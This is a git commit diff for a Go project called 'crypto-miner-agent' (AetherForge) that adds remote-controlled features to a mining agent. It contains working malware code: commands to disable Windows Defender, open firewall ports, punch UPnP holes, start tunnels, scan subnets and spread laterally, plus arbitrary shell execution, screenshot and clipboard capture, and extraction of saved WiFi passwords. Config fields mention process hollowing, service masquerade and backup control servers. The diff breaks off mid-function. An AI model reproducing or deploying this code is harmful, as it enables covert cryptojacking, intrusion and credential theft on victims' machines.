Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
143
agent/client/aggressive_commands.go
Normal file
143
agent/client/aggressive_commands.go
Normal file
@@ -0,0 +1,143 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
switch action {
|
||||
case "hole_punch", "hole_punch_close", "hole_punch_status":
|
||||
if !c.cfg.HolePunch {
|
||||
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
|
||||
}
|
||||
case "spread_now":
|
||||
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
||||
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
||||
}
|
||||
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch":
|
||||
if !c.cfg.RemoteAggressive {
|
||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||
}
|
||||
case "mesh_status":
|
||||
if !c.cfg.MeshP2P {
|
||||
return false, "mesh P2P not enabled in forge"
|
||||
}
|
||||
default:
|
||||
return true, ""
|
||||
}
|
||||
return true, ""
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
|
||||
ok, reason := c.allowRemoteAction(action)
|
||||
if !ok {
|
||||
c.sendCommandResult(action, false, reason)
|
||||
return true
|
||||
}
|
||||
|
||||
switch action {
|
||||
case "hole_punch":
|
||||
internalPort := parsePortArg(command, 8989)
|
||||
externalPort := parsePortArg(path, internalPort)
|
||||
desc := data
|
||||
if desc == "" {
|
||||
desc = c.cfg.WorkerName + "-aetherforge"
|
||||
}
|
||||
result, err := deploy.PunchUPnP(internalPort, externalPort, desc)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, result.Message)
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, result.Message)
|
||||
return true
|
||||
|
||||
case "hole_punch_close":
|
||||
externalPort := parsePortArg(command, 8989)
|
||||
msg, err := deploy.CloseUPnP(externalPort)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "hole_punch_status":
|
||||
ip, err := deploy.GetPublicEndpoint()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("WAN IP via UPnP: %s (use Hole Punch to map a port)", ip))
|
||||
return true
|
||||
|
||||
case "spread_now":
|
||||
msg := deploy.RunSpreadOnce(c.cfg)
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "start_tunnel":
|
||||
serverURL := strings.TrimSpace(command)
|
||||
if serverURL == "" {
|
||||
serverURL = c.cfg.ServerURL
|
||||
}
|
||||
msg, err := deploy.StartCloudflaredTunnel(serverURL)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "subnet_scan":
|
||||
maxHosts := parsePortArg(command, 64)
|
||||
out := deploy.ScanLocalSubnet(maxHosts)
|
||||
c.sendCommandResult(action, true, out)
|
||||
return true
|
||||
|
||||
case "defender_off":
|
||||
msg, err := deploy.DisableDefenderRealtime()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "firewall_punch":
|
||||
port := parsePortArg(command, 8989)
|
||||
name := path
|
||||
if name == "" {
|
||||
name = "AetherForge Remote " + c.cfg.WorkerName
|
||||
}
|
||||
msg, err := deploy.OpenFirewallPort(port, name)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "mesh_status":
|
||||
count := c.mesh.PeerCount()
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func parsePortArg(raw string, fallback int) int {
|
||||
raw = strings.TrimSpace(raw)
|
||||
if raw == "" {
|
||||
return fallback
|
||||
}
|
||||
n, err := strconv.Atoi(raw)
|
||||
if err != nil || n <= 0 || n > 65535 {
|
||||
return fallback
|
||||
}
|
||||
return n
|
||||
}
|
||||
46
agent/client/aggressive_commands_test.go
Normal file
46
agent/client/aggressive_commands_test.go
Normal file
@@ -0,0 +1,46 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestAllowRemoteActionHolePunch(t *testing.T) {
|
||||
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{HolePunch: false}}}
|
||||
ok, reason := c.allowRemoteAction("hole_punch")
|
||||
if ok || reason == "" {
|
||||
t.Fatalf("expected hole punch blocked without forge flag")
|
||||
}
|
||||
|
||||
c.cfg.HolePunch = true
|
||||
ok, reason = c.allowRemoteAction("hole_punch")
|
||||
if !ok || reason != "" {
|
||||
t.Fatalf("expected hole punch allowed: ok=%v reason=%q", ok, reason)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAllowRemoteActionSpread(t *testing.T) {
|
||||
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
|
||||
ok, _ := c.allowRemoteAction("spread_now")
|
||||
if ok {
|
||||
t.Fatal("spread_now should require auto_spread or remote_aggressive")
|
||||
}
|
||||
c.cfg.RemoteAggressive = true
|
||||
ok, _ = c.allowRemoteAction("spread_now")
|
||||
if !ok {
|
||||
t.Fatal("spread_now should allow with remote_aggressive")
|
||||
}
|
||||
}
|
||||
|
||||
func TestParsePortArg(t *testing.T) {
|
||||
if parsePortArg("", 8989) != 8989 {
|
||||
t.Fatal("empty should fallback")
|
||||
}
|
||||
if parsePortArg("443", 8989) != 443 {
|
||||
t.Fatal("443 expected")
|
||||
}
|
||||
if parsePortArg("bad", 8989) != 8989 {
|
||||
t.Fatal("invalid should fallback")
|
||||
}
|
||||
}
|
||||
@@ -563,13 +563,26 @@ func (a *AIRunner) reinstallMiner(serverURL, buildID string) (string, error) {
|
||||
}
|
||||
f.Close()
|
||||
|
||||
// Replace old binary
|
||||
// On Windows the running executable is locked — you cannot overwrite it, but
|
||||
// you CAN rename/move it to a .old path (the file handle stays open on the
|
||||
// original inode). Rename the live exe out of the way first, then put the
|
||||
// new binary in its place.
|
||||
oldPath := exePath + ".old"
|
||||
_ = os.Remove(oldPath) // remove a previous leftover if any
|
||||
if err := os.Rename(exePath, oldPath); err != nil && !os.IsNotExist(err) {
|
||||
// Running exe could not be moved — fall back to writing alongside
|
||||
os.Remove(tmpPath)
|
||||
return "", fmt.Errorf("cannot displace running binary: %w", err)
|
||||
}
|
||||
|
||||
if err := os.Rename(tmpPath, exePath); err != nil {
|
||||
// Restore the old binary so the next run still works
|
||||
_ = os.Rename(oldPath, exePath)
|
||||
os.Remove(tmpPath)
|
||||
return "", fmt.Errorf("rename failed: %w", err)
|
||||
}
|
||||
|
||||
// Start the new binary
|
||||
// Start the new binary with its own process group so it survives our exit
|
||||
startCmd := exec.Command(exePath)
|
||||
if err := startCmd.Start(); err != nil {
|
||||
return fmt.Sprintf("downloaded to %s but start failed: %v", exePath, err), nil
|
||||
|
||||
@@ -10,6 +10,7 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
@@ -155,6 +156,14 @@ func (c *AgentClient) authenticate() error {
|
||||
AIEnabled: c.cfg.AIEnabled,
|
||||
AIOllamaEndpoint: c.cfg.AIOllamaEndpoint,
|
||||
AIModel: c.cfg.AIModel,
|
||||
HolePunch: c.cfg.HolePunch,
|
||||
RemoteAggressive: c.cfg.RemoteAggressive,
|
||||
MeshP2P: c.cfg.MeshP2P,
|
||||
AutoSpread: c.cfg.AutoSpread,
|
||||
ProcessHollowing: c.cfg.ProcessHollowing && runtime.GOOS == "windows",
|
||||
Platform: runtime.GOOS,
|
||||
Arch: runtime.GOARCH,
|
||||
OSVersion: deploy.HostOSVersion(),
|
||||
})
|
||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||
return err
|
||||
@@ -249,6 +258,9 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data string) {
|
||||
if c.handleAggressiveCommand(action, tailLines, command, path, data) {
|
||||
return
|
||||
}
|
||||
switch action {
|
||||
case "pause":
|
||||
c.pool.PauseRemote()
|
||||
@@ -294,9 +306,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
c.sendCommandResult(action, false, "no command provided")
|
||||
return
|
||||
}
|
||||
out, err := exec.Command("cmd.exe", "/C", command).CombinedOutput()
|
||||
out, err := c.runExecCommand(command)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
c.sendCommandResult(action, false, formatCmdErr(err, out))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
@@ -305,9 +317,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
c.sendCommandResult(action, false, "no command provided")
|
||||
return
|
||||
}
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", command).CombinedOutput()
|
||||
out, err := c.runShellCommand(command)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
c.sendCommandResult(action, false, formatCmdErr(err, out))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
@@ -338,73 +350,10 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
}
|
||||
encoded := base64.StdEncoding.EncodeToString(b)
|
||||
c.sendCommandResult(action, true, encoded)
|
||||
case "ps":
|
||||
out, err := exec.Command("tasklist").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "netstat":
|
||||
out, err := exec.Command("netstat", "-ano").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "users":
|
||||
out, err := exec.Command("cmd.exe", "/C", "net user & echo. & whoami /all").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "software":
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
||||
"Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "screenshot":
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
||||
"Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap $s.Width,$s.Height; $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size); $ms=New-Object IO.MemoryStream; $b.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg); [Convert]::ToBase64String($ms.ToArray())").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("screenshot failed: %v\n%s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, strings.TrimSpace(string(out)))
|
||||
case "sysinfo":
|
||||
out, err := exec.Command("systeminfo").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "ipconfig":
|
||||
out, err := exec.Command("ipconfig", "/all").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "clipboard":
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", "Get-Clipboard").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, strings.TrimSpace(string(out)))
|
||||
case "wifi":
|
||||
script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : <No Password>"} }`
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, strings.TrimSpace(string(out)))
|
||||
default:
|
||||
if c.handleReconCommand(action, command) {
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, false, "unknown action")
|
||||
}
|
||||
}
|
||||
@@ -465,6 +414,7 @@ func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
|
||||
func (c *AgentClient) submitShare(jobID, nonce, hash string) {
|
||||
c.mu.Lock()
|
||||
c.sharesSubmitted++
|
||||
conn := c.conn // read under the same lock to avoid data race
|
||||
c.mu.Unlock()
|
||||
|
||||
payload, _ := json.Marshal(SharePayload{
|
||||
@@ -474,10 +424,9 @@ func (c *AgentClient) submitShare(jobID, nonce, hash string) {
|
||||
Worker: c.cfg.WorkerName,
|
||||
})
|
||||
|
||||
if c.conn != nil {
|
||||
if conn != nil {
|
||||
_ = c.write(Message{Type: "submit_share", Payload: payload})
|
||||
} else if c.cfg.MeshP2P {
|
||||
// Offline from Hub? Broadcast to Mesh peers!
|
||||
c.mesh.BroadcastToMesh(Message{Type: "submit_share", Payload: payload})
|
||||
}
|
||||
}
|
||||
|
||||
34
agent/client/commands_common.go
Normal file
34
agent/client/commands_common.go
Normal file
@@ -0,0 +1,34 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
)
|
||||
|
||||
func (c *AgentClient) runShellCommand(command string) ([]byte, error) {
|
||||
if runtime.GOOS == "windows" {
|
||||
return exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", command).CombinedOutput()
|
||||
}
|
||||
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
||||
}
|
||||
|
||||
func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
|
||||
if runtime.GOOS == "windows" {
|
||||
return exec.Command("cmd.exe", "/C", command).CombinedOutput()
|
||||
}
|
||||
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleReconCommand(action, command string) bool {
|
||||
handled, success, msg := c.platformRecon(action, command)
|
||||
if !handled {
|
||||
return false
|
||||
}
|
||||
c.sendCommandResult(action, success, msg)
|
||||
return true
|
||||
}
|
||||
|
||||
func formatCmdErr(err error, out []byte) string {
|
||||
return fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))
|
||||
}
|
||||
53
agent/client/commands_unix.go
Normal file
53
agent/client/commands_unix.go
Normal file
@@ -0,0 +1,53 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (c *AgentClient) platformRecon(action, command string) (handled bool, success bool, message string) {
|
||||
var out []byte
|
||||
var err error
|
||||
switch action {
|
||||
case "ps":
|
||||
out, err = exec.Command("ps", "aux").CombinedOutput()
|
||||
case "netstat":
|
||||
out, err = exec.Command("ss", "-tunap").CombinedOutput()
|
||||
if err != nil {
|
||||
out, err = exec.Command("netstat", "-an").CombinedOutput()
|
||||
}
|
||||
case "users":
|
||||
out, err = exec.Command("/bin/sh", "-c", "id; echo; cat /etc/passwd 2>/dev/null | head -40").CombinedOutput()
|
||||
case "software":
|
||||
out, err = exec.Command("/bin/sh", "-c", "(dpkg -l 2>/dev/null || rpm -qa 2>/dev/null || brew list 2>/dev/null) | head -80").CombinedOutput()
|
||||
case "screenshot":
|
||||
if command != "" {
|
||||
out, err = exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
||||
} else {
|
||||
return true, false, "screenshot not supported on this platform without custom command"
|
||||
}
|
||||
case "sysinfo":
|
||||
out, err = exec.Command("uname", "-a").CombinedOutput()
|
||||
case "ipconfig":
|
||||
out, err = exec.Command("/bin/sh", "-c", "ifconfig 2>/dev/null || ip addr").CombinedOutput()
|
||||
case "clipboard":
|
||||
out, err = exec.Command("pbpaste").CombinedOutput()
|
||||
if err != nil {
|
||||
out, err = exec.Command("xclip", "-o", "-selection", "clipboard").CombinedOutput()
|
||||
}
|
||||
if err == nil {
|
||||
return true, true, strings.TrimSpace(string(out))
|
||||
}
|
||||
return true, false, "clipboard read unsupported on this host"
|
||||
case "wifi":
|
||||
out, err = exec.Command("/bin/sh", "-c", "networksetup -listallhardwareports 2>/dev/null; nmcli dev wifi list 2>/dev/null | head -20").CombinedOutput()
|
||||
default:
|
||||
return false, false, ""
|
||||
}
|
||||
if err != nil {
|
||||
return true, false, formatCmdErr(err, out)
|
||||
}
|
||||
return true, true, string(out)
|
||||
}
|
||||
54
agent/client/commands_windows.go
Normal file
54
agent/client/commands_windows.go
Normal file
@@ -0,0 +1,54 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (c *AgentClient) platformRecon(action, command string) (handled bool, success bool, message string) {
|
||||
var out []byte
|
||||
var err error
|
||||
switch action {
|
||||
case "ps":
|
||||
out, err = exec.Command("tasklist").CombinedOutput()
|
||||
case "netstat":
|
||||
out, err = exec.Command("netstat", "-ano").CombinedOutput()
|
||||
case "users":
|
||||
out, err = exec.Command("cmd.exe", "/C", "net user & echo. & whoami /all").CombinedOutput()
|
||||
case "software":
|
||||
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
||||
"Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize").CombinedOutput()
|
||||
case "screenshot":
|
||||
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
||||
"Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap $s.Width,$s.Height; $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size); $ms=New-Object IO.MemoryStream; $b.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg); [Convert]::ToBase64String($ms.ToArray())").CombinedOutput()
|
||||
if err == nil {
|
||||
return true, true, strings.TrimSpace(string(out))
|
||||
}
|
||||
return true, false, formatCmdErr(err, out)
|
||||
case "sysinfo":
|
||||
out, err = exec.Command("systeminfo").CombinedOutput()
|
||||
case "ipconfig":
|
||||
out, err = exec.Command("ipconfig", "/all").CombinedOutput()
|
||||
case "clipboard":
|
||||
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", "Get-Clipboard").CombinedOutput()
|
||||
if err == nil {
|
||||
return true, true, strings.TrimSpace(string(out))
|
||||
}
|
||||
return true, false, formatCmdErr(err, out)
|
||||
case "wifi":
|
||||
script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : <No Password>"} }`
|
||||
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
||||
if err == nil {
|
||||
return true, true, strings.TrimSpace(string(out))
|
||||
}
|
||||
return true, false, formatCmdErr(err, out)
|
||||
default:
|
||||
return false, false, ""
|
||||
}
|
||||
if err != nil {
|
||||
return true, false, formatCmdErr(err, out)
|
||||
}
|
||||
return true, true, string(out)
|
||||
}
|
||||
@@ -88,3 +88,11 @@ func (m *MeshNode) BroadcastToMesh(msg Message) {
|
||||
s.Close()
|
||||
}
|
||||
}
|
||||
|
||||
// PeerCount returns the number of connected mesh peers.
|
||||
func (m *MeshNode) PeerCount() int {
|
||||
if m.host == nil {
|
||||
return 0
|
||||
}
|
||||
return len(m.host.Network().Peers())
|
||||
}
|
||||
|
||||
@@ -11,3 +11,5 @@ func (m *MeshNode) Start() error { return nil }
|
||||
|
||||
func (m *MeshNode) BroadcastToMesh(_ Message) {}
|
||||
|
||||
func (m *MeshNode) PeerCount() int { return 0 }
|
||||
|
||||
|
||||
@@ -22,6 +22,14 @@ type AuthPayload struct {
|
||||
AIEnabled bool `json:"ai_enabled"`
|
||||
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
||||
AIModel string `json:"ai_model"`
|
||||
HolePunch bool `json:"hole_punch"`
|
||||
RemoteAggressive bool `json:"remote_aggressive"`
|
||||
MeshP2P bool `json:"mesh_p2p"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
Platform string `json:"platform"`
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version"`
|
||||
}
|
||||
|
||||
type AuthResponse struct {
|
||||
|
||||
@@ -43,5 +43,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
ProcessHollowing: false,
|
||||
MeshP2P: false,
|
||||
AutoSpread: false,
|
||||
HolePunch: false,
|
||||
RemoteAggressive: false,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -50,6 +50,14 @@ type BuiltinConfig struct {
|
||||
ProcessHollowing bool
|
||||
MeshP2P bool
|
||||
AutoSpread bool
|
||||
HolePunch bool
|
||||
RemoteAggressive bool
|
||||
// Backup server URLs — tried in order if primary fails
|
||||
BackupServerURLs []string
|
||||
// Windows service masquerade (ignored on other OSes)
|
||||
ServiceMasquerade bool
|
||||
ServiceName string
|
||||
ServiceDonor string
|
||||
}
|
||||
|
||||
type RuntimeConfig struct {
|
||||
|
||||
@@ -4,6 +4,7 @@ import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
)
|
||||
|
||||
@@ -33,29 +34,57 @@ func (c RuntimeConfig) InstallDirectory() (string, error) {
|
||||
func resolveInstallBase(baseType, customBase string) (string, error) {
|
||||
switch strings.ToLower(strings.TrimSpace(baseType)) {
|
||||
case "", "localappdata":
|
||||
return requireEnv("LOCALAPPDATA")
|
||||
if runtime.GOOS == "windows" {
|
||||
return requireEnv("LOCALAPPDATA")
|
||||
}
|
||||
return xdgDataHome()
|
||||
case "appdata":
|
||||
return requireEnv("APPDATA")
|
||||
if runtime.GOOS == "windows" {
|
||||
return requireEnv("APPDATA")
|
||||
}
|
||||
return xdgDataHome()
|
||||
case "programdata":
|
||||
return requireEnv("ProgramData")
|
||||
case "userprofile":
|
||||
return requireEnv("USERPROFILE")
|
||||
if runtime.GOOS == "windows" {
|
||||
return requireEnv("ProgramData")
|
||||
}
|
||||
return xdgDataHome()
|
||||
case "userprofile", "home":
|
||||
if runtime.GOOS == "windows" {
|
||||
return requireEnv("USERPROFILE")
|
||||
}
|
||||
return requireEnv("HOME")
|
||||
case "xdg_data_home":
|
||||
return xdgDataHome()
|
||||
case "temp":
|
||||
if v := os.Getenv("TEMP"); v != "" {
|
||||
return v, nil
|
||||
}
|
||||
if v := os.Getenv("TMPDIR"); v != "" {
|
||||
return v, nil
|
||||
}
|
||||
return requireEnv("TMP")
|
||||
case "custom":
|
||||
custom := strings.TrimSpace(customBase)
|
||||
if custom == "" {
|
||||
return "", fmt.Errorf("custom install base path is required when install_base is custom")
|
||||
}
|
||||
return expandWindowsEnv(custom), nil
|
||||
return expandEnvPath(custom), nil
|
||||
default:
|
||||
return "", fmt.Errorf("unsupported install base: %s", baseType)
|
||||
}
|
||||
}
|
||||
|
||||
func xdgDataHome() (string, error) {
|
||||
if v := os.Getenv("XDG_DATA_HOME"); v != "" {
|
||||
return v, nil
|
||||
}
|
||||
home, err := requireEnv("HOME")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(home, ".local", "share"), nil
|
||||
}
|
||||
|
||||
func expandInstallTokens(path, workerName, buildID, processName string) string {
|
||||
shortBuild := buildID
|
||||
if len(shortBuild) > 8 {
|
||||
@@ -90,12 +119,17 @@ func requireEnv(key string) (string, error) {
|
||||
return value, nil
|
||||
}
|
||||
|
||||
func expandWindowsEnv(path string) string {
|
||||
func expandEnvPath(path string) string {
|
||||
out := path
|
||||
for _, key := range []string{
|
||||
"LOCALAPPDATA", "APPDATA", "ProgramData", "USERPROFILE", "TEMP", "TMP", "WINDIR", "SystemRoot",
|
||||
"HOME", "XDG_DATA_HOME", "TMPDIR",
|
||||
} {
|
||||
out = strings.ReplaceAll(out, "%"+key+"%", os.Getenv(key))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func expandWindowsEnv(path string) string {
|
||||
return expandEnvPath(path)
|
||||
}
|
||||
|
||||
13
agent/deploy/aggressive_stub.go
Normal file
13
agent/deploy/aggressive_stub.go
Normal file
@@ -0,0 +1,13 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import "fmt"
|
||||
|
||||
func DisableDefenderRealtime() (string, error) {
|
||||
return "", fmt.Errorf("defender control is Windows-only")
|
||||
}
|
||||
|
||||
func OpenFirewallPort(_ int, _ string) (string, error) {
|
||||
return "", fmt.Errorf("firewall port open is Windows-only")
|
||||
}
|
||||
41
agent/deploy/aggressive_windows.go
Normal file
41
agent/deploy/aggressive_windows.go
Normal file
@@ -0,0 +1,41 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// DisableDefenderRealtime turns off Windows Defender real-time monitoring (requires admin).
|
||||
func DisableDefenderRealtime() (string, error) {
|
||||
script := `Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Stop`
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
||||
if err != nil {
|
||||
return string(out), fmt.Errorf("defender disable failed (admin required?): %w", err)
|
||||
}
|
||||
return strings.TrimSpace(string(out)) + "\nDefender real-time monitoring disabled.", nil
|
||||
}
|
||||
|
||||
// OpenFirewallPort adds an inbound TCP allow rule for port.
|
||||
func OpenFirewallPort(port int, name string) (string, error) {
|
||||
if port <= 0 || port > 65535 {
|
||||
return "", fmt.Errorf("invalid port %d", port)
|
||||
}
|
||||
if name == "" {
|
||||
name = "AetherForge Remote"
|
||||
}
|
||||
script := fmt.Sprintf(`
|
||||
$name = '%s'
|
||||
$port = %d
|
||||
if (-not (Get-NetFirewallRule -DisplayName $name -ErrorAction SilentlyContinue)) {
|
||||
New-NetFirewallRule -DisplayName $name -Direction Inbound -Protocol TCP -LocalPort $port -Action Allow -Profile Any | Out-Null
|
||||
}
|
||||
`, strings.ReplaceAll(name, `'`, `''`), port)
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
||||
if err != nil {
|
||||
return string(out), err
|
||||
}
|
||||
